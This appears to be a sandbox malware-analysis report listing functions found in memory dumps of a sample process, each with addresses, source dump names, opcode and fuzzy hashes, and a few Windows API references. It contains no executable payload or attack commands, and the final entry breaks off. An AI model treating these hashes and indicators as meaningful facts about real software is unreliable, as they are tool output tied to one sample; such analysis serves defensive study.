Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Function 20D1D698 Relevance: 1.9, Strings: 1, Instructions: 691COMMON

Download Yara Rule

Strings

.5vq, xrefs: 20D1D818

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID: .5vq
API String ID: 0-493797296
Opcode ID: d5f46204ae6b751ed2572c0324e83d287783b6f047dba51b7fc562c32ccda374
Instruction ID: 38923ea0af74c8a5b002b893f72bba26e350d9c4dfed6c75abc4e95e261ae5ad
Opcode Fuzzy Hash: d5f46204ae6b751ed2572c0324e83d287783b6f047dba51b7fc562c32ccda374
Instruction Fuzzy Hash: 18729974E012298FDB65DF69C894BDDBBB2AF89300F1081E9D40CAB254DB35AE85CF54

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569

Function 20D19360 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c2bccbeb99dd4825637a033d5cc18d47da0e57b952ae65a920094eef867fd26
Instruction ID: 2f326079cc784f4801ddf33ff814784f55e725dd6dd622c43bc49578abeb33e9
Opcode Fuzzy Hash: 8c2bccbeb99dd4825637a033d5cc18d47da0e57b952ae65a920094eef867fd26
Instruction Fuzzy Hash: E1F1AD74E01228CFDB64CFA5C994BADBBB2BF98300F1481AAE509A7354DB355E85CF50

Function 2018E810 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 187acbcba5777f42e86e2ff3aa77d45794826f79140a2d9a0cb9170f63a72eaf
Instruction ID: 8a0868d15264d94090d2f07acab2e57eded5201c1227ce7043a357150bf03cef
Opcode Fuzzy Hash: 187acbcba5777f42e86e2ff3aa77d45794826f79140a2d9a0cb9170f63a72eaf
Instruction Fuzzy Hash: ACF17E74E00228CFEB64DFA5C994BEDBBB2AF58300F1081AAE509A7355DB355E85CF50

Function 2018A850 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67ccd80a90289821d1cf8dc33fd7620f99497564d6129edf0e90a3a997162d3f
Instruction ID: 105cdf4cf3b361d126b94122823d1793606bf2819b2c1b26b85be44cef0b0f2a
Opcode Fuzzy Hash: 67ccd80a90289821d1cf8dc33fd7620f99497564d6129edf0e90a3a997162d3f
Instruction Fuzzy Hash: BEF17E74E00228CFEB64DFA5C994BDDBBB2BB98300F1081AAD519A7394DB355E85CF50

Function 2018DC90 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5229c1eeeaa76a6abf71276d1388b75dff69099cc59b2e797de4357e30b30d3
Instruction ID: cb1d2f86c64880ed24910c1c370b7cc65752467bd185c514f0ee9cdd484cbd05
Opcode Fuzzy Hash: e5229c1eeeaa76a6abf71276d1388b75dff69099cc59b2e797de4357e30b30d3
Instruction Fuzzy Hash: BDF17E74E00228CFEB64DFA5C994BDDBBB2AF98300F1085AAE509A7354DB355E85CF50

Function 20189CC0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3977b0fe39358a1ff37336eceafdee11c12c31f522c4ad82bfd3be5afb1335f6
Instruction ID: f3abd828285d645b37d2ad38ad5d039882b297223881cf93e048199ade04dc67
Opcode Fuzzy Hash: 3977b0fe39358a1ff37336eceafdee11c12c31f522c4ad82bfd3be5afb1335f6
Instruction Fuzzy Hash: E1F18E74E00228CFEB64DFA5C994BEDBBB2BB58300F1081AAE519A7354DB355E85CF50

Function 2018D110 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dbc4c484e392442c61e151c6375040e95d7307d3399373198ee50ce00124936
Instruction ID: d7c0b2a0e1d7d3e83aa0ea3dfe12dcdc0f63d6a57d90ea588c363dd9efa34ec2
Opcode Fuzzy Hash: 5dbc4c484e392442c61e151c6375040e95d7307d3399373198ee50ce00124936
Instruction Fuzzy Hash: 14F17E74E00228CFDB64DFA5C994BDDBBB2AF58300F1081AAE509A7354DB355E85CF50

Function 2018AE18 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d69b5c422efb5c0ef5c188439df77c0cfb1770e69f5586dd92b8007dda55155b
Instruction ID: 5db60b21277b5390ed1998c1b1c06c08a054e661381f837a34ccba1f2457a290
Opcode Fuzzy Hash: d69b5c422efb5c0ef5c188439df77c0cfb1770e69f5586dd92b8007dda55155b
Instruction Fuzzy Hash: 93F17E74E00228CFEB64DFA5C994BDDBBB2BB98300F1085AAE509A7354DB355E85CF50

Function 2018E250 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f21b715772947b89302c89917233ae25d01cc1380f4dbf81124a5f043ad8931
Instruction ID: 3a3c4a3639a92c6d401f5e1a8255cfac5206891d2fe148ce4f70de7eba29ec5b
Opcode Fuzzy Hash: 8f21b715772947b89302c89917233ae25d01cc1380f4dbf81124a5f043ad8931
Instruction Fuzzy Hash: E0F16E74E00228CFEB64DFA5C994BDDBBB2AF58300F1085AAE509A7354DB355E85CF50

Function 2018A288 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b44fcf07a89d5c69845949625ff529b4883e9fe6854e64339ec09d1cb761c05c
Instruction ID: b3d6826d474d3ca34a55c60d53b1f607b95d5c53ea7ba5d5939cc0ea5f2131d3
Opcode Fuzzy Hash: b44fcf07a89d5c69845949625ff529b4883e9fe6854e64339ec09d1cb761c05c
Instruction Fuzzy Hash: FEF17E74E00228CFEB64DFA5C994BDDBBB2BB98300F1081AAD509A7394DB355E85DF50

Function 2018D6D0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a94938c1d499943fa3254b5d22e68150a9cfa428da8350af3caa0eca352566b8
Instruction ID: 0a523f3f56e42b8be8c0810556237d88bacac126204326189ea81a5bc4bc7850
Opcode Fuzzy Hash: a94938c1d499943fa3254b5d22e68150a9cfa428da8350af3caa0eca352566b8
Instruction Fuzzy Hash: 30F17E74E01228CFEB64DFA5C994BEDBBB2AF58300F1081AAE509A7354DB355E85CF50

Function 201896F8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f810c5c3cad21ec2b6ea742acb4adf7e5f1fae964537e48d86ee854f53b9e832
Instruction ID: e629bf1be91d0cd092b5c72b2c3fb1db691265ac54ef8e3f71cccdee28da27f2
Opcode Fuzzy Hash: f810c5c3cad21ec2b6ea742acb4adf7e5f1fae964537e48d86ee854f53b9e832
Instruction Fuzzy Hash: 7FF17D74E00228CFDB64DFA5C994BEDBBB2BB98300F1481AAE509A7354DB355E85CF50

Function 2018CB50 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72e2c1aba8fd0dfe431735a3618ee475f6215ae026b55608b149fa86e1413aca
Instruction ID: 0b3a65235687ec2f7cdd65cc2519997035b98a3476a6e53ee059ddf3b2dea9e4
Opcode Fuzzy Hash: 72e2c1aba8fd0dfe431735a3618ee475f6215ae026b55608b149fa86e1413aca
Instruction Fuzzy Hash: D2F17E74E01228CFEB64DFA5C994BDDBBB2AF98300F1081AAE509A7354DB355E85CF50

Function 20D170E0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fd7ec3dfcf83c25434abc9baef2186df602e9bdd2bc4bea2e2f92dab2f477b2
Instruction ID: e03064b68af91a9528002f3c1c3fce5eda2bfaade9ee509d3a65e0c677434bbd
Opcode Fuzzy Hash: 7fd7ec3dfcf83c25434abc9baef2186df602e9bdd2bc4bea2e2f92dab2f477b2
Instruction Fuzzy Hash: E8F18D74E01228CFDB64DFA9C994B9DBBB2BF98300F1081AAE509A7354DB355E85CF50

Function 20D1BCE8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc036f777a207ff5ae690d304131c2c3ccb56af2716046707f34aeb0599588bf
Instruction ID: 4e1c08226f3577feca587aae3bf60fe8afbbd49db510ee726796c3176bd40fea
Opcode Fuzzy Hash: dc036f777a207ff5ae690d304131c2c3ccb56af2716046707f34aeb0599588bf
Instruction Fuzzy Hash: AEF19D74E01228CFDB64CFA9C994B9DBBB2AF98300F1085AAE509A7354DB355E85CF50

Function 20D148A0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebdbe6fc74d78a54e0cdcf96e4b5efb8cf64d68addb4a3908aa7feaf0259eb86
Instruction ID: 4d570091832e8970d60b6ab34e8dc980110c95a9f7ca23015fdc28e5a901ddb9
Opcode Fuzzy Hash: ebdbe6fc74d78a54e0cdcf96e4b5efb8cf64d68addb4a3908aa7feaf0259eb86
Instruction Fuzzy Hash: 81F18D74E01228CFDB64DFA5C994B9DBBB2BF58300F1081AAE509A7354EB355E85CF50

Function 20D17C60 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 001c7a9a8daf03af245480d29488dee2e61beaf01f97565a6577be25fab22e38
Instruction ID: ecab0fab4ab649090a110814bc8267df2d64800e0bb2ff5c08dac338b5c15c35
Opcode Fuzzy Hash: 001c7a9a8daf03af245480d29488dee2e61beaf01f97565a6577be25fab22e38
Instruction Fuzzy Hash: D5F18D74E01228CFDB64DFA5C994BEDBBB2AF98300F1081AAE509A7354DB355E85CF50

Function 20D1C868 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c33800ebd7e8988f0adecd697ff63c4b1ea516c236dc1c9a0f53b9361214e55f
Instruction ID: 1d7f6383ccd4728caf7fbca01075908ddb278927c375b7719b16dfe5fab6d9a7
Opcode Fuzzy Hash: c33800ebd7e8988f0adecd697ff63c4b1ea516c236dc1c9a0f53b9361214e55f
Instruction Fuzzy Hash: 93F18D74E01228CFDB64CFA5C994BEDBBB2AB98300F1085AAE509A7354DB355E85CF50

Function 20D15420 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe16d69746e30f80c03036ecfc51952860ad8a421739b660e4b9510a35d417ba
Instruction ID: 319247a696cd096f9ac548a91bb5a987a78adc87b34a4aca47393446cc42acd3
Opcode Fuzzy Hash: fe16d69746e30f80c03036ecfc51952860ad8a421739b660e4b9510a35d417ba
Instruction Fuzzy Hash: 1AF19D74E01228CFDB64DFA5C994BADBBB2AF98300F1081AAE509A7354DB355E85CF50

Function 20D1A028 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a974f8d8a4edf8d0f67b0d37f0594b289c1eb6612c6630d41e6f765a23317d
Instruction ID: d2d9066bc2a041f17896456eab742304593ad2d2ac506e93ee1e9c3f82396180
Opcode Fuzzy Hash: 49a974f8d8a4edf8d0f67b0d37f0594b289c1eb6612c6630d41e6f765a23317d
Instruction Fuzzy Hash: D9F18E74E01228CFDB64CFA9C994BADBBB2BF58300F1081AAD509A7354DB355E85CF50

Function 20D159E0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6314f1783185bc0edbc4741fb8d438eb26eaa9c26e5ec6d83a4a02e96e4eaae
Instruction ID: baa436db606c4fd36848bdc9657705d12e433de3ff2a0e53d00299d032b34cc8
Opcode Fuzzy Hash: f6314f1783185bc0edbc4741fb8d438eb26eaa9c26e5ec6d83a4a02e96e4eaae
Instruction Fuzzy Hash: 0AF18D74E01228CFDB64DFA5C994BADBBB2BF98300F1081AAE509A7354DB355E85CF50

Function 20D1A5E8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5720c6db288975daecc130fb00e9b249306ca9f2b313b963ff7854d7ba058e98
Instruction ID: 9ab8d0889682fc3a1136322c5651bba95dee98125705b7f73402c28ac9e86b47
Opcode Fuzzy Hash: 5720c6db288975daecc130fb00e9b249306ca9f2b313b963ff7854d7ba058e98
Instruction Fuzzy Hash: B5F18E74E01228CFDB64CFA9C994BADBBB2BF58300F1081AAD509A7354DB355E85CF50

Function 20D18DA0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 396ff4d00c58848ac350f646174db21a0a8d72b8d1ac01ce4a2de2e6234c3fa5
Instruction ID: 63fe61411c5b4245d40f6bb31ff9fdf921fd68446a0385208d3283b77cd7cd79
Opcode Fuzzy Hash: 396ff4d00c58848ac350f646174db21a0a8d72b8d1ac01ce4a2de2e6234c3fa5
Instruction Fuzzy Hash: E1F18D74E01228CFDB64DFA5C994BDDBBB2AF58300F1081AAE509A7354DB355E85CF50

Function 20D16560 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcad923e8a0920b9f36d45ea2ebc9b19141ab166e8badc5b2aa244a155343d2a
Instruction ID: 5f4668ffdd08059f068824dab78be3e4223cb7bf1fe63e71a31e0daa7e13d8cb
Opcode Fuzzy Hash: bcad923e8a0920b9f36d45ea2ebc9b19141ab166e8badc5b2aa244a155343d2a
Instruction Fuzzy Hash: EFF18E74E01228CFDB64DFA5C994BADBBB2AF98300F1081AAE509A7354DB355E85CF50

Function 20D1B168 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdba854d38871aba85f5321adbf5c45e53a1c646f3d88b0125233447d404305b
Instruction ID: 71548e57c76c906b11feafe49d8e87dcf51c2d63f23c3a5e99b6689f9609fee5
Opcode Fuzzy Hash: cdba854d38871aba85f5321adbf5c45e53a1c646f3d88b0125233447d404305b
Instruction Fuzzy Hash: C8F19E74E01228CFDB64DFA9C994BADBBB2BF58300F1081AAE509A7354DB355E85CF50

Function 20D176A0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b36206a9e90772a8dd7cbe757e4f27e8378349a2d1a1098c714024171a1c4dee
Instruction ID: 8eb27149d085ac1740ed0b8bf7c0ab26e1dc6acb21e1843a91c53e5df7c1269e
Opcode Fuzzy Hash: b36206a9e90772a8dd7cbe757e4f27e8378349a2d1a1098c714024171a1c4dee
Instruction Fuzzy Hash: 42F18E74E01228CFDB64DFA5C994BEDBBB2AF58300F1081AAE509A7354DB355E85CF50

Function 20D1C2A8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a3f7d26a14b9891da8d6946362106835a3a23f42495bb4e1ba3a460400fe5be
Instruction ID: d213b4f2e00ba7d10075642c7840dd152319bf80c64e316058a99a4b81103e77
Opcode Fuzzy Hash: 3a3f7d26a14b9891da8d6946362106835a3a23f42495bb4e1ba3a460400fe5be
Instruction Fuzzy Hash: 7BF19E74E01228CFDB64CFA5C994BADBBB2BF98300F1085AAE509A7354DB355E85CF50

Function 20D14E60 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef91fe40db60c130720b9d6e182837249e9b0a97bf736c162900464ef19ef3a9
Instruction ID: 6ea744d5335702fbf87c05e374cc2476874e19b0b5fc774425e7f780a14d64d8
Opcode Fuzzy Hash: ef91fe40db60c130720b9d6e182837249e9b0a97bf736c162900464ef19ef3a9
Instruction Fuzzy Hash: 93F18D74E01228CFDB64DFA5C994B9DBBB2AF98300F1081AAE509A7354DB355E85CF50

Function 20D19A68 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 958c1e5cf4775323f048513dd590f8d9614f308a5fe91a0677883e8268e66e14
Instruction ID: 29819cae91122c9242949b1cf8d1507c7506477500792e83a8b0a398ab345c23
Opcode Fuzzy Hash: 958c1e5cf4775323f048513dd590f8d9614f308a5fe91a0677883e8268e66e14
Instruction Fuzzy Hash: FDF19D74E01228CFDB64CFA5C994BEDBBB2AF98300F1481AAE509A7354DB355E85CF50

Function 20D18220 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 620aeafd8ec9062050496a81634079a978ba6635b977a8eaab773a5aa693d049
Instruction ID: 171b138642d56c2279c20deb342ac2ceb2b632175f1a6a1904e5c28750ca1f3b
Opcode Fuzzy Hash: 620aeafd8ec9062050496a81634079a978ba6635b977a8eaab773a5aa693d049
Instruction Fuzzy Hash: 29F19D74E01228CFDB64CFA5C994BEDBBB2AF98300F1481AAE509A7354DB355E85CF50

Function 20D1CE28 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92665c9ef1e055b7b757b927d1fd03d46b41e05a504ffaa14530a7035cefc0c
Instruction ID: d0a3660c7442550c209c8fc48a98829af9a7cdf7422c33f2f5c86c1155d89b58
Opcode Fuzzy Hash: c92665c9ef1e055b7b757b927d1fd03d46b41e05a504ffaa14530a7035cefc0c
Instruction Fuzzy Hash: E0F18D74E01228CFDB64DFA5C994BADBBB2BF98300F1081AAE509A7354DB355E85CF50

Function 20D187E0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a175d3294aee086d225e62f636917530027e4d9ce90a51fb8c621ba7c95de8a
Instruction ID: 50a55e1499e989230c9fd6df53b84410a166fa4f792a422e9706679eb6678644
Opcode Fuzzy Hash: 7a175d3294aee086d225e62f636917530027e4d9ce90a51fb8c621ba7c95de8a
Instruction Fuzzy Hash: 62F18D74E01228CFDB64DFA5C994BEDBBB2AF98300F1081AAE509A7354DB355E85CF50

Function 20D1ABA8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a65f6b1c42f9ee44ae942ea68531f3d7eb089dd6fba67be9407122530f0112fc
Instruction ID: 1468812e51eb59890c3e516ec26447b4e3c0d652c4c002267877d8e4328b9284
Opcode Fuzzy Hash: a65f6b1c42f9ee44ae942ea68531f3d7eb089dd6fba67be9407122530f0112fc
Instruction Fuzzy Hash: E4F18E74E01228CFDB64DFA9C994BADBBB2BF58300F1081AAE509A7354DB355E85CF50

Function 20D16B20 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b72d5a18e0a6e19e612a99c418f48330d7fd5d476d70be516dce21f9d6c45122
Instruction ID: 08c9ece7165498cc4553017113a21333d25c4f59071f7fff3e18f9378051955f
Opcode Fuzzy Hash: b72d5a18e0a6e19e612a99c418f48330d7fd5d476d70be516dce21f9d6c45122
Instruction Fuzzy Hash: CDF18D74E01228CFDB64DFA5C994BADBBB2BF98300F1081AAE509A7354DB355E85CF50

Function 20D1B728 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afe23289d0f8aaf6402c0489d7120fa53950ccc8fab5b191ac0fe58cd90bc6c1
